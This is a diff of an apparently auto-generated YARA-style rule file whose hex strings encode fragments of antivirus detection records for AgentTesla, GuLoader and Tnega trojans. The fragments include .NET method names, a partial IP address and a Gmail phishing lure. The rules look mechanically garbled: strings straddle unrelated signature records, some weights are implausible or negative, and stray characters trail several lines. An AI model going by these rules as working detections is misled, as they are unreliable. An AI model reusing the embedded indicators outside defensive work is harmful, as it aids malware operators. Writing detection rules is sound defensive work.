00 21 " @@ -187987,28 +200541,45 @@ rule _InfrastructureShared_16061{ $a_74_2 = {5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 78 fe 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 31 35 21 4d 54 42 00 01 00 0f 81 01 43 72 65 } //25970 $a_44_3 = {63 72 79 70 74 6f 72 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 81 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 24 63 34 65 66 38 34 30 63 2d 62 30 64 38 2d 34 37 38 66 2d 39 32 36 64 2d 37 62 64 66 32 66 31 65 39 33 30 } //29793 $a_33_5 = {62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 0e 81 01 54 72 61 6e 73 66 6f 72 6d 42 6c 6f 63 6b 00 00 } //24833 - $a_00_7 = {09 00 21 23 48 53 54 52 } //8 + $a_00_7 = {08 00 21 23 48 53 54 52 } //8 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26479+(#a_74_2 & 1)*25970+(#a_44_3 & 1)*29793+(#a_33_5 & 1)*24833+(#a_00_7 & 1)*8) >=7 } -rule _InfrastructureShared_16062{ +rule _InfrastructureShared_17115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 31 35 21 4d 54 42 00 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 0e 81 01 54 6f 42 61 73 65 36 34 } //18467 $a_69_1 = {67 01 00 0f 81 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 25 81 01 24 63 34 65 66 38 34 30 63 2d 62 30 64 38 2d 34 37 38 66 2d 39 32 36 64 2d 37 62 64 66 32 66 31 65 39 33 30 63 01 00 33 81 01 61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f } //29779 - $a_65_2 = {01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 0e 81 01 54 72 61 6e 73 66 6f 72 6d 42 6c 6f 63 6b 00 00 78 fe 00 00 08 00 08 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 32 32 21 4d 54 42 00 01 00 11 81 01 50 44 46 65 73 63 } //29301 - $a_20_3 = {65 73 6b 74 6f 70 01 00 0c 81 01 52 65 64 20 53 6f 66 74 77 61 72 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 } //28769 - $a_2f_4 = {2f 00 38 } //13056 - $a_00_6 = {38 00 2e 00 32 00 31 00 2e 00 36 00 39 00 2f 00 79 00 69 00 79 00 2f 00 90 02 14 2e 00 77 00 61 00 76 00 90 00 01 00 1c 03 2f 2f 38 32 2e 31 31 38 } //49 - $a_2e_7 = {39 2f 79 69 79 2f 90 02 14 2e 77 61 76 90 00 00 00 78 fe 00 00 08 00 08 00 0a 00 21 23 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 46 6c 61 63 } //12846 + $a_65_2 = {01 00 09 81 01 59 35 74 46 76 55 38 45 59 01 00 0e 81 01 54 72 61 6e 73 66 6f 72 6d 42 6c 6f 63 6b 00 00 78 fe 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 52 21 4d 54 42 00 01 00 11 81 01 5c 73 65 6d 69 63 79 63 6c 6f 69 64 } //29301 + $a_72_3 = {01 00 21 81 01 5c 62 72 73 66 6c 73 6f 6d 6d 65 5c 69 64 69 6f 70 73 79 63 68 6f 6c 6f 67 69 63 61 6c 2e 7a 69 70 01 00 1a 81 01 5c 65 75 72 79 62 61 74 68 69 63 5c 70 6f 77 64 65 72 69 73 65 73 2e 62 69 6e 01 00 11 81 01 4b 75 72 73 75 73 61 66 67 69 66 74 73 2e 6c 73 72 01 00 11 81 01 52 } //23132 + $a_63_4 = {75 72 73 65 31 31 35 2e 74 78 74 01 00 16 81 01 53 74 75 64 69 65 72 65 74 6e 69 6e 67 65 72 32 31 30 2e 69 6e 69 01 00 11 81 01 70 68 65 6e 79 6c 67 6c 79 63 69 6e 65 2e 6a 70 67 01 00 14 81 01 75 64 74 72 79 6b 73 6d 69 64 6c 65 72 6e 65 73 2e 68 65 6c 00 00 78 fe 00 00 08 00 08 00 09 00 21 23 48 53 } //25441 + $a_54_5 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 32 32 21 4d 54 42 00 01 00 11 81 01 50 44 46 65 73 63 61 70 65 20 44 65 73 6b 74 6f 70 01 00 } //21076 + $a_52_6 = {64 } //-32500 d + $a_66_7 = {77 61 72 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 33 03 2f 00 2f 00 38 00 32 00 2e 00 31 00 31 00 38 00 2e 00 32 00 31 00 2e 00 36 00 } //21280 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_65_2 & 1)*29301+(#a_20_3 & 1)*28769+(#a_2f_4 & 1)*13056+(#a_00_6 & 1)*49+(#a_2e_7 & 1)*12846) >=8 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_65_2 & 1)*29301+(#a_72_3 & 1)*23132+(#a_63_4 & 1)*25441+(#a_54_5 & 1)*21076+(#a_52_6 & 1)*-32500+(#a_66_7 & 1)*21280) >=8 } -rule _InfrastructureShared_16063{ +rule _InfrastructureShared_17116{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 52 21 4d 54 42 00 01 00 11 81 01 5c 73 65 6d 69 63 79 63 6c 6f 69 64 5c 5a 61 72 73 01 00 21 81 01 5c 62 72 73 66 6c 73 6f 6d 6d 65 5c 69 64 69 6f 70 73 79 63 68 6f 6c 6f 67 } //18467 + $a_6c_1 = {7a 69 70 01 00 1a 81 01 5c 65 75 72 79 62 61 74 68 69 63 5c 70 6f 77 64 65 72 69 73 65 73 2e 62 69 6e 01 00 11 81 01 4b 75 72 73 75 73 61 66 67 69 66 74 73 2e 6c 73 72 01 00 11 81 01 52 61 63 65 63 6f 75 72 73 65 31 31 35 2e 74 78 74 01 00 16 81 01 53 74 75 64 69 65 72 65 74 6e 69 6e 67 65 } //25449 + $a_30_2 = {69 6e 69 01 00 11 81 01 70 68 65 6e 79 6c 67 6c 79 63 69 6e 65 2e 6a 70 67 01 00 14 81 01 75 64 74 72 79 6b 73 6d 69 64 6c 65 72 6e 65 73 2e 68 65 } //12914 + $a_00_4 = {08 00 09 00 21 23 48 53 } //0 + $a_54_5 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 32 32 21 4d 54 42 00 01 00 11 81 01 50 44 46 65 73 63 61 70 65 20 44 65 73 6b 74 6f 70 01 00 } //21076 + $a_52_6 = {64 } //-32500 d + $a_66_7 = {77 61 72 65 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 33 03 2f 00 2f 00 38 00 32 00 2e 00 31 00 31 00 38 00 2e 00 32 00 31 00 2e 00 36 00 } //21280 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25449+(#a_30_2 & 1)*12914+(#a_00_4 & 1)*0+(#a_54_5 & 1)*21076+(#a_52_6 & 1)*-32500+(#a_66_7 & 1)*21280) >=8 + +} +rule _InfrastructureShared_17117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -188019,14 +200590,14 @@ rule _InfrastructureShared_16063{ $a_65_3 = {76 61 6c 5d 3a 01 00 0a 01 5b 49 6e 66 6f 55 52 4c 5d 3a 01 00 0e 01 5b 4d 61 69 6c 53 75 62 6a 65 63 74 5d 3a 01 00 0b 01 5b 46 72 6f 6d 41 64 64 72 5d 3a 01 00 0b 01 5b 46 72 6f 6d 50 61 73 73 5d 3a 01 00 0d 01 5b 53 6d 74 70 53 65 72 76 65 72 5d 3a 01 00 0c 01 5b 43 6f 6f 6b 69 65 55 52 4c 5d 3a 01 00 41 01 25 73 3c 70 3e 50 6c 65 61 73 65 20 } //28233 $a_20_4 = {6e 20 74 68 65 20 47 6d 61 69 6c 20 53 65 72 76 65 72 20 74 6f 20 61 63 74 69 76 61 74 65 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3a 3c 2f 70 3e 00 00 78 fe 00 00 09 00 09 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 32 30 31 30 32 33 21 4d 54 42 00 02 00 05 01 53 } //28524 $a_65_5 = {00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 02 00 07 01 52 65 76 65 72 73 65 02 00 0e 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 22 01 32 66 30 34 63 65 63 64 64 33 30 65 63 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 65 35 32 39 33 65 65 34 34 66 33 61 37 35 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 } //31042 - $a_63_6 = {73 01 00 22 01 34 66 62 30 33 39 30 63 34 34 30 65 62 32 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 30 32 65 39 32 65 64 39 31 66 37 38 34 30 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 } //30063 - $a_61_7 = {53 4d 4b 56 35 36 21 4d 54 42 00 02 00 40 03 11 04 11 06 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 16 91 13 08 11 05 11 08 6f 90 01 01 00 00 0a 11 06 18 58 13 06 11 06 11 04 6f 90 01 01 00 00 0a 32 cc 90 00 02 00 05 81 01 50 69 67 75 65 02 00 1b 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 46 6f } //29541 - $a_2e_8 = {65 73 6f 75 72 63 65 73 02 00 2a 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 } //28018 + $a_63_6 = {73 01 00 22 01 34 66 62 30 33 39 30 63 34 34 30 65 62 32 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 30 32 65 39 32 65 64 39 31 66 37 38 34 30 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 52 } //30063 + $a_4d_7 = {42 00 01 00 10 81 01 64 69 67 6f 6e 6f 70 6f 72 6f 75 73 2e 70 72 6f 01 00 0c 81 01 6b 6f 6c 70 6f } //12592 + $a_2e_8 = {6e 69 01 00 0e 81 01 73 6e 65 62 72 72 65 6e 65 73 2e 74 78 74 01 00 10 81 01 73 74 76 67 72 61 6e 6e 65 6e 65 73 2e 65 6b 6c 01 00 11 81 01 75 6e 74 65 6e 61 62 6c 65 6e 65 73 73 2e 79 72 73 01 00 0c 81 01 61 66 67 72 6e 73 65 73 2e 74 78 74 01 00 1c 81 01 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 20 68 65 64 76 69 6e 65 6e 65 } //29810 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_00_2 & 1)*97+(#a_65_3 & 1)*28233+(#a_20_4 & 1)*28524+(#a_65_5 & 1)*31042+(#a_63_6 & 1)*30063+(#a_61_7 & 1)*29541+(#a_2e_8 & 1)*28018) >=8 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_00_2 & 1)*97+(#a_65_3 & 1)*28233+(#a_20_4 & 1)*28524+(#a_65_5 & 1)*31042+(#a_63_6 & 1)*30063+(#a_4d_7 & 1)*12592+(#a_2e_8 & 1)*29810) >=8 } -rule _InfrastructureShared_16064{ +rule _InfrastructureShared_17118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -188035,32 +200606,50 @@ rule _InfrastructureShared_16064{ $a_41_1 = {64 72 5d 3a 01 00 0b 01 5b 46 72 6f 6d 50 61 73 73 5d 3a 01 00 0d 01 5b 53 6d 74 70 53 65 72 76 65 72 5d 3a 01 00 0c 01 5b 43 6f 6f 6b 69 65 55 52 4c 5d 3a 01 00 41 01 25 73 3c 70 3e 50 6c 65 61 73 65 20 6c 6f 67 20 69 6e 20 74 68 65 20 47 6d 61 69 6c 20 53 65 72 76 65 72 20 74 6f 20 61 63 74 69 76 61 74 65 20 79 6f 75 72 20 } //28530 $a_6f_2 = {6e 74 3a 3c 2f 70 3e 00 00 78 fe 00 00 09 00 09 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 32 30 31 30 32 33 21 4d 54 42 00 02 00 05 01 53 42 79 74 65 02 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 02 00 07 01 52 65 76 65 72 73 65 02 00 0e 01 } //25441 $a_4c_3 = {74 65 42 69 6e 64 69 6e 67 01 00 22 01 32 66 30 34 63 65 63 64 64 33 30 65 63 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 65 35 32 39 33 65 65 34 34 66 33 61 37 35 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 34 66 62 30 33 39 30 63 34 34 30 65 62 32 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 } //25934 - $a_73_4 = {00 22 01 30 32 65 39 32 65 64 39 31 66 37 38 34 30 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 35 36 21 4d 54 42 00 02 00 40 03 11 04 11 06 18 6f 90 } //25458 - $a_28_6 = {01 01 00 00 0a 28 90 01 01 00 00 0a 16 91 13 08 } //7946 - $a_08_7 = {6f 90 01 01 00 00 0a 11 06 18 58 13 06 11 06 11 04 } //1297 - $a_01_8 = {00 } //-28561 - $a_cc_9 = {00 02 00 05 81 01 50 69 67 75 65 02 00 1b 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 02 00 2a 81 01 41 75 } //2560 + $a_73_4 = {00 22 01 30 32 65 39 32 65 64 39 31 66 37 38 34 30 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 52 30 31 21 4d 54 42 00 01 00 10 81 01 64 69 67 6f 6e 6f 70 6f 72 6f 75 73 2e 70 72 } //25458 + $a_6f_6 = {70 6f 72 74 72 2e 69 6e 69 01 00 0e 81 01 73 6e 65 62 72 72 65 6e 65 73 2e 74 78 74 01 00 10 81 01 73 74 76 67 72 61 6e 6e 65 6e 65 73 2e 65 6b 6c 01 00 11 81 01 75 6e 74 65 6e 61 62 6c 65 6e 65 73 73 2e 79 72 73 01 00 0c 81 01 61 66 67 72 6e 73 65 73 2e 74 78 74 01 00 1c 81 01 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 65 } //385 + $a_73_7 = {68 65 64 76 69 6e 65 6e 65 01 00 21 81 01 61 70 69 61 63 61 20 68 65 6c 66 6c 61 73 6b 65 72 73 20 75 6e 63 6f 6e 66 69 72 6d 61 74 6f 72 79 01 00 15 81 01 72 75 74 69 6c 61 6e 74 20 62 61 6e 6b 6b 6f 6e 74 6f 65 6e 73 00 00 78 fe 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 } //28274 + $a_41_8 = {65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 35 36 21 4d 54 42 00 02 00 40 03 11 04 11 06 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 28 90 } //19529 condition: - ((#a_6f_0 & 1)*21539+(#a_41_1 & 1)*28530+(#a_6f_2 & 1)*25441+(#a_4c_3 & 1)*25934+(#a_73_4 & 1)*25458+(#a_28_6 & 1)*7946+(#a_08_7 & 1)*1297+(#a_01_8 & 1)*-28561+(#a_cc_9 & 1)*2560) >=8 + ((#a_6f_0 & 1)*21539+(#a_41_1 & 1)*28530+(#a_6f_2 & 1)*25441+(#a_4c_3 & 1)*25934+(#a_73_4 & 1)*25458+(#a_6f_6 & 1)*385+(#a_73_7 & 1)*28274+(#a_41_8 & 1)*19529) >=8 } -rule _InfrastructureShared_16065{ +rule _InfrastructureShared_17119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 32 30 31 30 32 33 21 4d 54 42 00 02 00 05 01 53 42 79 74 65 02 00 0e 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 02 00 07 01 52 65 76 65 72 73 65 02 00 0e 01 4e 65 77 4c 61 74 65 42 69 } //18467 $a_6e_1 = {01 00 22 01 32 66 30 34 63 65 63 64 64 33 30 65 63 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 65 35 32 39 33 65 65 34 34 66 33 61 37 35 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 01 34 66 62 30 33 39 30 63 34 34 30 65 62 32 2e 52 65 73 6f 75 72 63 65 73 2e } //25710 - $a_6f_2 = {72 63 65 73 01 00 22 01 30 32 65 39 32 65 64 39 31 66 37 38 34 30 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 35 36 21 4d 54 42 00 02 00 40 03 11 04 11 06 18 6f 90 01 01 00 00 0a 1f 10 28 90 } //25970 - $a_01_4 = {01 00 00 0a 16 91 13 08 11 05 11 08 6f 90 01 01 00 00 0a 11 06 18 58 13 06 11 06 11 04 6f 90 01 01 00 00 0a 32 cc 90 00 02 00 05 81 01 50 69 67 75 65 02 00 1b 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 02 00 2a 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 02 00 2b 81 01 41 75 74 6f 6d 6f 62 69 6c 6b } //10250 - $a_65_5 = {70 6f 6e 73 69 76 69 74 79 2e 46 6f 72 6d 54 65 73 74 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 50 45 52 3a 57 69 6e 33 32 2f 50 63 74 50 79 32 65 78 00 01 00 20 01 33 46 35 33 42 43 39 41 36 34 41 33 36 33 } //11873 - $a_42_6 = {30 42 36 42 36 36 30 41 33 36 30 35 41 01 00 11 03 52 4c 6f 63 6b 74 90 02 10 5f 6c 6f 63 6b 28 90 00 01 00 18 03 70 63 74 20 55 73 61 67 65 3a 90 } //12857 - $a_4f_7 = {74 69 6f 6e 73 3e 90 00 01 00 0a 01 53 65 6e 64 50 61 63 6b 65 74 01 00 0b 01 50 75 74 46 69 6c 65 44 61 74 61 01 00 0d 01 53 65 72 76 65 72 4c 6f 6f 70 50 72 6f 01 00 19 03 74 61 } //4098 + $a_6f_2 = {72 63 65 73 01 00 22 01 30 32 65 39 32 65 64 39 31 66 37 38 34 30 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 fe 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 52 30 31 21 4d 54 42 00 01 00 10 81 01 64 69 67 6f 6e 6f 70 6f 72 6f 75 73 2e 70 72 6f 01 00 0c 81 01 6b 6f 6c } //25970 + $a_74_3 = {2e 69 6e 69 01 00 0e 81 01 73 6e 65 62 72 72 65 6e 65 73 2e 74 78 74 01 00 10 81 01 73 74 76 67 72 61 6e 6e 65 6e 65 73 2e 65 6b 6c 01 00 11 81 01 75 6e 74 65 6e 61 62 6c 65 6e 65 73 73 2e 79 72 73 01 00 0c 81 01 61 66 67 72 6e 73 65 73 2e 74 78 74 01 00 1c 81 01 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 20 68 65 64 76 69 6e 65 } //28528 + $a_00_4 = {21 } //25966 ! + $a_70_5 = {61 63 61 20 68 65 6c 66 6c 61 73 6b 65 72 73 20 75 6e 63 6f 6e 66 69 72 6d 61 74 6f 72 79 01 00 15 81 01 72 75 74 69 6c 61 6e 74 20 62 61 6e 6b 6b 6f 6e 74 6f 65 6e 73 00 00 78 fe 00 00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //385 + $a_4b_6 = {35 36 21 4d 54 42 00 02 00 40 03 11 04 11 06 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 16 91 13 08 11 05 11 08 6f 90 01 01 00 00 0a 11 06 18 58 13 06 11 06 11 04 6f 90 01 01 00 00 0a 32 cc 90 00 02 00 } //21294 + $a_50_7 = {67 } //-32507 g condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25710+(#a_6f_2 & 1)*25970+(#a_01_4 & 1)*10250+(#a_65_5 & 1)*11873+(#a_42_6 & 1)*12857+(#a_4f_7 & 1)*4098) >=9 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25710+(#a_6f_2 & 1)*25970+(#a_74_3 & 1)*28528+(#a_00_4 & 1)*25966+(#a_70_5 & 1)*385+(#a_4b_6 & 1)*21294+(#a_50_7 & 1)*-32507) >=9 } -rule _InfrastructureShared_16066{ +rule _InfrastructureShared_17120{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 52 30 31 21 4d 54 42 00 01 00 10 81 01 64 69 67 6f 6e 6f 70 6f 72 6f 75 73 2e 70 72 6f 01 00 0c 81 01 6b 6f 6c 70 6f 72 74 72 2e 69 6e 69 01 00 0e 81 01 73 6e 65 62 72 72 65 6e 65 73 2e 74 78 74 } //18467 + $a_81_1 = {73 74 76 67 72 61 6e 6e 65 6e 65 73 2e 65 6b 6c } //1 stvgrannenes.ekl + $a_81_2 = {75 6e 74 65 6e 61 62 6c 65 6e 65 73 73 2e 79 72 73 } //1 untenableness.yrs + $a_81_3 = {61 66 67 72 6e 73 65 73 2e 74 78 74 } //1 afgrnses.txt + $a_81_4 = {73 74 61 72 74 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 20 68 65 64 76 69 6e 65 6e 65 } //1 startprogrammernes hedvinene + $a_81_5 = {61 70 69 61 63 61 20 68 65 6c 66 6c 61 73 6b 65 72 73 20 75 6e 63 6f 6e 66 69 72 6d 61 74 6f 72 79 } //1 apiaca helflaskers unconfirmatory + $a_81_6 = {72 75 74 69 6c 61 6e 74 20 62 61 6e 6b 6b 6f 6e 74 6f 65 6e 73 } //1 rutilant bankkontoens + $a_fe_7 = {00 0a 00 0a 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4b 56 35 36 21 4d 54 42 00 02 00 40 03 11 04 11 06 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 16 91 13 08 11 05 11 08 6f 90 01 01 00 00 0a 11 06 18 58 13 06 11 06 11 04 6f 90 01 01 00 00 0a 32 cc 90 00 02 00 05 81 } //0 + $a_67_8 = {65 02 00 1b 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 02 00 2a 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 02 00 2b 81 01 41 75 74 6f 6d 6f 62 69 6c 6b 61 2e 52 65 73 70 6f 6e 73 69 } //20481 + condition: + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_fe_7 & 1)*0+(#a_67_8 & 1)*20481) >=9 + +} +rule _InfrastructureShared_17121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -188074,7 +200663,7 @@ rule _InfrastructureShared_16066{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*6150+(#a_63_2 & 1)*30063+(#a_44_3 & 1)*12594+(#a_50_4 & 1)*28261) >=10 } -rule _InfrastructureShared_16067{ +rule _InfrastructureShared_17122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -188093,7 +200682,7 @@ rule _InfrastructureShared_16067{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*6144+(#a_65_2 & 1)*24947+(#a_10_3 & 1)*-28556+(#a_72_4 & 1)*27491+(#a_54_5 & 1)*8515+(#a_77_6 & 1)*26478+(#a_65_7 & 1)*11896+(#a_49_8 & 1)*27765+(#a_38_9 & 1)*25124) >=10 } -rule _InfrastructureShared_16068{ +rule _InfrastructureShared_17123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -188107,7 +200696,7 @@ rule _InfrastructureShared_16068{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28792+(#a_2f_2 & 1)*29281+(#a_7a_3 & 1)*384+(#a_01_4 & 1)*9472) >=12 } -rule _InfrastructureShared_16069{ +rule _InfrastructureShared_17124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -188123,7 +200712,7 @@ rule _InfrastructureShared_16069{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25961+(#a_14_2 & 1)*0+(#a_28_3 & 1)*0+(#a_63_4 & 1)*18490+(#a_45_5 & 1)*7168+(#a_45_6 & 1)*19085) >=15 } -rule _InfrastructureShared_16070{ 